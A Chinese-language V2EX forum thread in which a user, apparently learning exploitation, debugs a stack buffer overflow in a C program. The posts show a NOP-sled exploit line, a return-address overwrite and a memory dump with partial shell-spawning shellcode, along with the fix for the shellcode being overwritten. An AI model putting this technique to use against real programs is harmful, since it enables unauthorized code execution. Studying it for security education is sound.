有对 buffer overflow 有了解的吗?

2015-02-17 03:37:32 +08:00
 MrGba2z
buf_addr
ret_addr
这两个我都找出来了

并且用\xcc 填充到return然后劫持return触发Trap都成功了.

但是实际用:

buf = ('\x90' * (buf_len - len(payload))) + payload + struct.pack('<Q', ret_addr)
的时候劫持return并跳到了payload的位置但并没有成功启动payload

我在想是不是payload有问题.
我的payload size 是67 是不是对这个大小有要求?

0x7fffffffe930: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe940: 0x90909090 0xec834890 0xc9314870 0x48ca8948
0x7fffffffe950: 0x28245489 0x622fba48 0x2f2f6e69 0x89486873

0xec834890是我payload开始的地方
2074 次点击
所在节点    问与答
5 条回复
sNullp
2015-02-17 03:38:47 +08:00
是对什么程序的 buffer overflow?
MrGba2z
2015-02-17 04:56:38 +08:00
@sNullp

C
我用gdb发现 劫持return 并不是在strcpy执行完就return的 好像还会执行下面的语句.然后下面的语句又再次改写了buf里的内容.

就是感觉我劫持到一半,我的shellcode被后面的语句改写了导致运行不起来,
按理说我劫持了return 后面的语句应该不会执行才对啊

源程序
http://pastebin.com/XJz1DF25
MrGba2z
2015-02-17 07:16:59 +08:00
@sNullp

NVM, 我解决了.
填充了一段\x90到会被修改的位置.
ricorico
2015-02-17 09:24:15 +08:00
ricorico
2015-02-17 09:25:01 +08:00
看了 Cee 菊苣的 blog 好像有这部分的东西…

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/171426

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX